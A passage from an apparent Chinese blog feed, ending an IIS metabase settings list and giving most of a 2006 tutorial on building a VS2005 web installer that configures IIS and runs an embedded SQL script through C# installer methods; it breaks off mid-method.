<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman">UploadReadAheadSize = 49152<SPAN style="mso-tab-count: 2">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">确定</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> Web </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">服务器读入缓冲区并传递到</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> ISAPI </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">扩展的字节数。</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman">UseDigestSSP = False<SPAN style="mso-tab-count: 3">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">由高级摘要式身份验证用来在摘要式或高级摘要式安全支持提供程序接口</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> (SSPI) </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">代码之间切换。</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman">WebDAVMaxAttributesPerElement = 32<SPAN style="mso-tab-count: 1">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>??</FONT></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US style="FONT-SIZE: 10.5pt; FONT-FAMILY: 'Times New Roman'; mso-bidi-font-size: 12.0pt; mso-font-kerning: 1.0pt; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA; mso-fareast-font-family: 宋体">Win32Error = 0<SPAN style="mso-tab-count: 1">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN><SPAN style="mso-tab-count: 3">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>Microsoft Win32 </SPAN><SPAN style="FONT-SIZE: 10.5pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'; mso-bidi-font-size: 12.0pt; mso-font-kerning: 1.0pt; mso-bidi-font-family: 'Times New Roman'; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA">错误状态代码</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN style="FONT-SIZE: 10.5pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'; mso-bidi-font-size: 12.0pt; mso-font-kerning: 1.0pt; mso-bidi-font-family: 'Times New Roman'; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA"></SPAN>&nbsp;</P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN style="FONT-SIZE: 10.5pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'; mso-bidi-font-size: 12.0pt; mso-font-kerning: 1.0pt; mso-bidi-font-family: 'Times New Roman'; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA">摘:http://blog.csdn.net/cqfeng/archive/2006/02/14/598943.aspx</SPAN></P></SPAN></SPAN></SPAN></SPAN></SPAN></SPAN></SPAN>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=242" /> 
	  <id>http://www.openx.cn/default.asp?id=242</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[如何用VS2005制作Web安装程序]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2006-03-24T10:52:18+08:00</updated>
	  <published>2006-03-24T10:52:18+08:00</published>
		  <summary type="html"><![CDATA[<DIV>网站完成后，需要部署到目标机器上，方法有很多，直接把文件Copy到目标机器上，执行SQL脚本，配置IIS，这样可以做到；也可以使用InstallShield这样到专业制作软件来打包。本篇文章是使用VS2005自带到安装部署工具来制作exe安装文件。</DIV>
<DIV></DIV>
<DIV>涉及到到内容包括：使用安装部署工具，建立数据库，配置IIS，文件操作，注册表等。参考了网上关于使用VS制作安装程序的文章。环境：Windows2003 + VS2005 + SQL2005。</DIV>
<DIV>注：本文只是为了实现，没有强调方法，变量等的写法标准。</DIV>
<DIV>&nbsp;</DIV>
<DIV>使用VS2005制作安装程序的时候，有多种选择，如下图：</DIV>
<DIV><IMG alt="" src="http://dotnet.mblogger.cn/upimgs/dotnet.mblogger.cn/cqfeng/2006-2/2006_217214.jpg" border=0></DIV>
<DIV>我想一般常用的可能就最上面的两种。当使用Web安装项目时，执行制作好的msi安装文件时，会发现实际上是添加虚拟目录而不是添加网站，而且无法选择安装目录，当然，可以自己写脚本来对IIS进行修改。不过在这篇文章里，将不采用此模式。本篇文章用的是使用“安装项目”，就和打包WinForm程序一样，把Web文件部署到目标机器上，然后重写install方法，配置IIS，执行SQL脚本，修改web.config文件等。</DIV>
<DIV>&nbsp;</DIV>
<DIV>在开始整个过程之前，需要先了解一下“预编译”的概念，MSDN上的说明是：默认情况下，在用户首次请求资源（如网站的一个页）时，将动态编译 ASP.NET 网页和代码文件。第一次编译页和代码文件之后，会缓存编译后的资源，这样将大大提高随后对同一页提出的请求的效率。请查阅MSDN“预编译”相关文档。</DIV>
<DIV>&nbsp;</DIV>
<DIV>准备一个文件DBSQL.txt，在里面包含连接数据库后需要执行的SQL脚本，在本例中使用了简单的一个Create Tabel的SQL。</DIV>
<DIV>&nbsp;</DIV>
<DIV>好了，现在开干，吼吼~~~~~~~~~~</DIV>
<DIV>&nbsp;</DIV>
<DIV>打开VS2005，打开一个网站项目，这里是打开的本地localhost，如图：</DIV>
<DIV><IMG alt="" src="http://dotnet.mblogger.cn/upimgs/dotnet.mblogger.cn/cqfeng/2006-2/2006_217313.jpg" border=0></DIV>
<DIV>新加一个页面，随便取个名字（本文中为<FONT face="Times New Roman">ClientCallback.aspx</FONT>），然后写一个简单的按钮事件即可，这不是本文的重点，由你随意处理<FONT face="Times New Roman">^_^ </FONT>再添加<FONT face="Times New Roman">web</FONT>配置文件即<FONT face="Times New Roman">web.config</FONT>，在<FONT face="Times New Roman"><CONFIGURATION></CONFIGURATION></FONT>下添加</DIV>
<DIV><FONT face="Times New Roman"><APPSETTINGS></APPSETTINGS></FONT></DIV>
<DIV><FONT face="Times New Roman">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <ADD key="ConnectionString" value="server=xxxxx;User ID=xxxx;Password=xxxx;database=xxxxx"></ADD></FONT></DIV>
<DIV><FONT face="Times New Roman"></FONT></DIV>
<DIV>此文件到时候是需要发布到目标机器上的。（关于连接数据库字符串，<FONT face="Times New Roman">VS2005</FONT>里面有专门的<FONT face="Times New Roman">connectionStrings</FONT>，本文未使用，可查阅帮助）</DIV>
<DIV>点击生成网站，访问页面，<FONT face="Times New Roman">ok</FONT>！</DIV>
<DIV>选择菜单生成＝》发布网站：</DIV>
<DIV><IMG alt="" src="http://dotnet.mblogger.cn/upimgs/dotnet.mblogger.cn/cqfeng/2006-2/2006_217207.jpg" border=0></DIV>
<DIV>点击确定后，网站已经生成，这些就是需要部署到目标机器上的所有文件。</DIV>
<DIV><FONT face="Times New Roman"></FONT>&nbsp;</DIV>
<DIV>点击菜单文件＝》添加＝》新建项目，添加安装部署项目，如图：</DIV>
<DIV><FONT face="Times New Roman"></FONT>&nbsp;</DIV>
<DIV><IMG alt="" src="http://dotnet.mblogger.cn/upimgs/dotnet.mblogger.cn/cqfeng/2006-2/2006_217804.jpg" border=0></DIV>
<DIV><FONT face="Times New Roman"></FONT>&nbsp;</DIV>
<DIV>添加安装项目类库：</DIV>
<DIV><IMG alt="" src="http://dotnet.mblogger.cn/upimgs/dotnet.mblogger.cn/cqfeng/2006-2/2006_217475.jpg" border=0></DIV>
<DIV>删除默认的Class1.cs,新加一个安装程序类文件，名为MyInstaller.cs：</DIV>
<DIV>&nbsp;</DIV>
<DIV><IMG alt="" src="http://dotnet.mblogger.cn/upimgs/dotnet.mblogger.cn/cqfeng/2006-2/2006_217102.jpg" border=0></DIV>
<DIV>在此项目中，添加对System.EnterpriseServices和System.DirectoryServices的引用，在操作IIS的时候，需要用到。在文件中添加：</DIV>
<DIV>using System;</DIV>
<DIV>using System.IO;</DIV>
<DIV>using System.DirectoryServices;</DIV>
<DIV>using System.Reflection;</DIV>
<DIV>using System.Data;</DIV>
<DIV>using System.Data.SqlClient;</DIV>
<DIV>using System.Configuration.Install;</DIV>
<DIV>using System.Management;</DIV>
<DIV>using System.Collections;</DIV>
<DIV>using Microsoft.Win32;</DIV>
<DIV>using System.Collections.Specialized;如果编译的时候出错，请添加相关引用。</DIV>
<DIV>&nbsp;</DIV>
<DIV>修改文件如下图：</DIV>
<DIV><FONT face="Times New Roman"></FONT>&nbsp;</DIV>
<DIV><IMG alt="" src="http://dotnet.mblogger.cn/upimgs/dotnet.mblogger.cn/cqfeng/2006-2/2006_217149.jpg" border=0></DIV>
<DIV>注意要手动添加<FONT face="Times New Roman">Installer</FONT>！</DIV>
<DIV><FONT face="Times New Roman"></FONT>&nbsp;</DIV>
<DIV>将<FONT face="Times New Roman">DBSQL.txt</FONT>文件放到此项目中，在属性中设置为“嵌入的资源”</DIV>
<DIV><IMG alt="" src="http://dotnet.mblogger.cn/upimgs/dotnet.mblogger.cn/cqfeng/2006-2/2006_21775.jpg" border=0></DIV>
<DIV><FONT face="Times New Roman"></FONT>&nbsp;</DIV>
<DIV>回到MyWebSetup项目，点击查看属性，可以设置安装文件到显示相关信息，如图</DIV>
<DIV><FONT face="Times New Roman"></FONT>&nbsp;</DIV>
<DIV><IMG alt="" src="http://dotnet.mblogger.cn/upimgs/dotnet.mblogger.cn/cqfeng/2006-2/2006_217953.jpg" border=0></DIV>
<DIV><FONT face="Times New Roman"></FONT>&nbsp;</DIV>
<DIV>选择文件系统，如图：</DIV>
<DIV><IMG alt="" src="http://dotnet.mblogger.cn/upimgs/dotnet.mblogger.cn/cqfeng/2006-2/2006_217854.jpg" border=0></DIV>
<DIV>然后：</DIV>
<DIV><FONT face="Times New Roman"></FONT>&nbsp;</DIV>
<DIV><IMG alt="" src="http://dotnet.mblogger.cn/upimgs/dotnet.mblogger.cn/cqfeng/2006-2/2006_217891.jpg" border=0></DIV>
<DIV>（在文件系统中，在属性里面可以设置安装程序默认到安装路径）</DIV>
<DIV><FONT face="Times New Roman"></FONT>&nbsp;</DIV>
<DIV>添加一个叫<FONT face="Times New Roman">bin</FONT>文件夹并添加在生成网站时<FONT face="Times New Roman">bin</FONT>目录下的<FONT face="Times New Roman">dll</FONT>文件，如图：</DIV>
<DIV><IMG alt="" src="http://dotnet.mblogger.cn/upimgs/dotnet.mblogger.cn/cqfeng/2006-2/2006_217153.jpg" border=0></DIV>
<DIV><FONT face="Times New Roman"></FONT>&nbsp;</DIV>
<DIV>在应用程序文件夹下在生成网站时目录下的文件，添加后如图：</DIV>
<DIV><FONT face="Times New Roman"></FONT>&nbsp;</DIV>
<DIV><IMG alt="" src="http://dotnet.mblogger.cn/upimgs/dotnet.mblogger.cn/cqfeng/2006-2/2006_217197.jpg" border=0></DIV>
<DIV><FONT face="Times New Roman"></FONT>&nbsp;</DIV>
<DIV>选择“用户界面编辑器”，添加两个文本框<FONT face="Times New Roman">A</FONT>和<FONT face="Times New Roman">B</FONT>，<FONT face="Times New Roman">A</FONT>将作为安装新站点后的<FONT face="Times New Roman">IIS</FONT>设置，<FONT face="Times New Roman">B</FONT>将作为数据库操作时的参数设置，调整位置后如下：</DIV>
<DIV><IMG alt="" src="http://dotnet.mblogger.cn/upimgs/dotnet.mblogger.cn/cqfeng/2006-2/2006_217913.jpg" border=0></DIV>
<DIV>调整<FONT face="Times New Roman">A</FONT>的属性，这里只选择了显示两个输入框，属性分别为<FONT face="Times New Roman">IISSERVER</FONT>和<FONT face="Times New Roman">PORT</FONT>，值为<FONT face="Times New Roman">localhost</FONT>和<FONT face="Times New Roman">9998</FONT>，其他的你可以自己调整。如图：</DIV>
<DIV><IMG alt="" src="http://dotnet.mblogger.cn/upimgs/dotnet.mblogger.cn/cqfeng/2006-2/2006_21724.jpg" border=0></DIV>
<DIV><FONT face="Times New Roman"></FONT>&nbsp;</DIV>
<DIV>文本框<FONT face="Times New Roman">B</FONT>的设置如下：</DIV>
<DIV><IMG alt="" src="http://dotnet.mblogger.cn/upimgs/dotnet.mblogger.cn/cqfeng/2006-2/2006_217933.jpg" border=0></DIV>
<DIV><FONT face="Times New Roman">OK</FONT>，文本框设置完毕。当然，你还可以选择其他的多种文本框，如协议什么的。</DIV>
<DIV><FONT face="Times New Roman"></FONT>&nbsp;</DIV>
<DIV>打开自定义操作面板：</DIV>
<DIV><IMG alt="" src="http://dotnet.mblogger.cn/upimgs/dotnet.mblogger.cn/cqfeng/2006-2/2006_217253.jpg" border=0></DIV>
<DIV><FONT face="Times New Roman"></FONT>&nbsp;</DIV>
<DIV><IMG alt="" src="http://dotnet.mblogger.cn/upimgs/dotnet.mblogger.cn/cqfeng/2006-2/2006_217911.jpg" border=0></DIV>
<DIV><FONT face="Times New Roman"></FONT>&nbsp;</DIV>
<DIV>然后：</DIV>
<DIV><IMG alt="" src="http://dotnet.mblogger.cn/upimgs/dotnet.mblogger.cn/cqfeng/2006-2/2006_21771.jpg" border=0></DIV>
<DIV>在<FONT face="Times New Roman">CustomActionData</FONT>中输入：</DIV>
<DIV><FONT face="Times New Roman">/dbname=[DBNAME] /server=[DBSERVERNAME] /user=[USERNAME] /pwd=[PASSWORD] /iis=[IISSERVER] /port=[PORT] /targetdir="[TARGETDIR]\"</FONT></DIV>
<DIV>这些参数就是文本框<FONT face="Times New Roman">A</FONT>和<FONT face="Times New Roman">B</FONT>上的输入框的值，在安装过程中可以获得，然后进行处理。</DIV>
<DIV><FONT face="Times New Roman"></FONT>&nbsp;</DIV>
<DIV>至此，基本的安装文件已经制作完毕。进行生成，然后点击安装，可以看到文件已经复制到了相应到目录。接下来就要接收参数对<FONT face="Times New Roman">IIS</FONT>和数据库进行处理。</DIV>
<DIV><FONT face="Times New Roman"></FONT>&nbsp;</DIV>
<DIV>打开<FONT face="Times New Roman">SetupClassLibrary</FONT>项目下的<FONT face="Times New Roman">MyInstaller.Designer.cs</FONT>，修改此文件。</DIV>
<DIV>申明几个变量：</DIV>
<DIV><FONT face="Times New Roman">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; private System.Data.SqlClient.SqlConnection sqlConn;</FONT></DIV>
<DIV><FONT face="Times New Roman">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; private System.Data.SqlClient.SqlCommand Command;</FONT></DIV>
<DIV><FONT face="Times New Roman">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; private string DBName;</FONT></DIV>
<DIV><FONT face="Times New Roman">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; private string ServerName;</FONT></DIV>
<DIV><FONT face="Times New Roman">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; private string AdminName;</FONT></DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; private string AdminPwd;</DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp; </DIV>
<DIV><FONT face="Times New Roman">private string iis;</FONT></DIV>
<DIV><FONT face="Times New Roman">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; private string port;</FONT></DIV>
<DIV><FONT face="Times New Roman">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; private string dir;</FONT></DIV>
<DIV><FONT face="Times New Roman">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; public static string VirDirSchemaName = "IIsWebVirtualDir";</FONT></DIV>
<DIV><FONT face="Times New Roman"></FONT>&nbsp;</DIV>
<DIV><FONT face="Times New Roman">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; private string _target;</FONT></DIV>
<DIV><FONT face="Times New Roman">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; private DirectoryEntry _iisServer;</FONT></DIV>
<DIV><FONT face="Times New Roman">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; private ManagementScope _scope;</FONT></DIV>
<DIV><FONT face="Times New Roman">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; private ConnectionOptions _connection;</FONT></DIV>
<DIV><FONT face="Times New Roman"></FONT>&nbsp;</DIV>
<DIV>连接数据库服务器到方法：</DIV>
<DIV><FONT face="Times New Roman">#region ConnectDatabase </FONT>连接数据库</DIV>
<DIV><FONT face="Times New Roman">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; private bool ConnectDatabase()</FONT></DIV>
<DIV><FONT face="Times New Roman">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {</FONT></DIV>
<DIV><FONT face="Times New Roman">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (Command.Connection.State != ConnectionState.Open)</FONT></DIV>
<DIV><FONT face="Times New Roman">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {</FONT></DIV>
<DIV><FONT face="Times New Roman">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; try</FONT></DIV>
<DIV><FONT face="Times New Roman">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {</FONT></DIV>
<DIV><FONT face="Times New Roman">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Command.Connection.Open();</FONT></DIV>
<DIV><FONT face="Times New Roman">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }</FONT></DIV>
<DIV><FONT face="Times New Roman">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; catch(Exception e)</FONT></DIV>
<DIV><FONT face="Times New Roman">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {</FONT></DIV>
<DIV><FONT face="Times New Roman">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return false;</FONT></DIV>
<DIV><FONT face="Times New Roman">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }</FONT></DIV>
<DIV><FONT face="Times New Roman">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }</FONT></DIV>
<DIV><FONT face="Times New Roman">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return true;</FONT></DIV>
<DIV><FONT face="Times New Roman">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }</FONT></DIV>
<DIV><FONT face="Times New Roman">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; #endregion</FONT></DIV>
<DIV>如果不能正确连接数据库服务器，请检查你的连接字符串，或者将连接字符串写入文件查看。不好意思，我不知道如何对这种安装部署程序进行<FONT face="Times New Roman">debug</FONT>，<FONT face="Times New Roman">sorry</FONT>咯！</DIV>
<DIV><FONT face="Times New Roman"></FONT>&nbsp;</DIV>
<DIV>读取<FONT face="Times New Roman">SQL</FONT>文件的方法：</DIV>
<DIV><FONT face="Times New Roman">#region GetSql </FONT>从文件中读取<FONT face="Times New Roman">SQL</FONT>，在读取包含<FONT face="Times New Roman">SQL</FONT>脚本的文件时需要用到，参考自<FONT face="Times New Roman">MSDN</FONT></DIV>
<DIV><FONT face="Times New Roman">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; private string GetSql(string Name)</FONT></DIV>
<DIV><FONT face="Times New Roman">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {</FONT></DIV>
<DIV><FONT face="Times New Roman">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; try</FONT></DIV>
<DIV><FONT face="Times New Roman">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {</FONT></DIV>
<DIV><FONT face="Times New Roman">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Assembly Asm = Assembly.GetExecutingAssembly();</FONT></DIV>
<DIV><FONT face="Times New Roman">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Stream strm = Asm.GetManifestResourceStream(Asm.GetName().Name + "." + Name);</FONT></DIV>
<DIV><FONT face="Times New Roman">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; StreamReader reader = new StreamReader(strm);</FONT></DIV>
<DIV><FONT face="Times New Roman">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return reader.ReadToEnd();</FONT></DIV>
<DIV><FONT face="Times New Roman">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }</FONT></DIV>
<DIV><FONT face="Times New Roman">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; catch (Exception getException)</FONT></DIV>
<DIV><FONT face="Times New Roman">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {</FONT></DIV>
<DIV><FONT face="Times New Roman">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; throw new ApplicationException(getException.Message);</FONT></DIV>
<DIV><FONT face="Times New Roman">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }</FONT></DIV>
<DIV><FONT face="Times New Roman">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }</FONT></DIV>
<DIV><FONT face="Times New Roman">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; #endregion</FONT></DIV>
<DIV>可以将此需要执行的<FONT face="Times New Roman">SQL</FONT>脚本放在此文本中</DIV>
<DIV><FONT face="Times New Roman"></FONT>&nbsp;</DIV>
<DIV>执行<FONT face="Times New Roman">SQL</FONT>语句的方法：</DIV>
<DIV><FONT face="Times New Roman">#region ExecuteSql </FONT>执行<FONT face="Times New Roman">SQL</FONT>语句，参考自<FONT face="Times New Roman">MSDN</FONT></DIV>
<DIV><FONT face="Times New Roman">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; private void ExecuteSql(string DataBaseName, string sqlstring)</FONT></DIV>
<DIV><FONT face="Times New Roman">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {</FONT></DIV>
<DIV><FONT face="Times New Roman">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Command = new System.Data.SqlClient.SqlCommand(sqlstring, sqlConn);</FONT></DIV>
<DIV><FONT face="Times New Roman">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (ConnectDatabase())</FONT></DIV>
<DIV><FONT face="Times New Roman">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {</FONT></DIV>
<DIV><FONT face="Times New Roman">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; try</FONT></DIV>
<DIV><FONT face="Times New Roman">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {</FONT></DIV>
<DIV><FONT face="Times New Roman">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Command.Connection.ChangeDatabase(DataBaseName);</FONT></DIV>
<DIV><FONT face="Times New Roman">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Command.ExecuteNonQuery();</FONT></DIV>
<DIV><FONT face="Times New Roman">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }</FONT></DIV>
<DIV><FONT face="Times New Roman">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; finally</FONT></DIV>
<DIV><FONT face="Times New Roman">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {</FONT></DIV>
<DIV><FONT face="Times New Roman">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;Command.Connection.Close();</FONT></DIV>
<DIV><FONT face="Times New Roman">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }</FONT></DIV>
<DIV><FONT face="Times New Roman">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }</FONT></DIV>
<DIV><FONT face="Times New Roman">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }</FONT></DIV>
<DIV><FONT face="Times New Roman">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; #endregion</FONT></DIV>
<DIV><FONT face="Times New Roman"></FONT>&nbsp;</DIV>
<DIV>创建数据库及数据库表：</DIV>
<DIV><FONT face="Times New Roman">#region CreateDBAndTable </FONT>创建数据库及数据库表，参考自<FONT face="Times New Roman">MSDN</FONT></DIV>
<DIV><FONT face="Times New Roman">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; protected bool CreateDBAndTable(string DBName)</FONT></DIV>
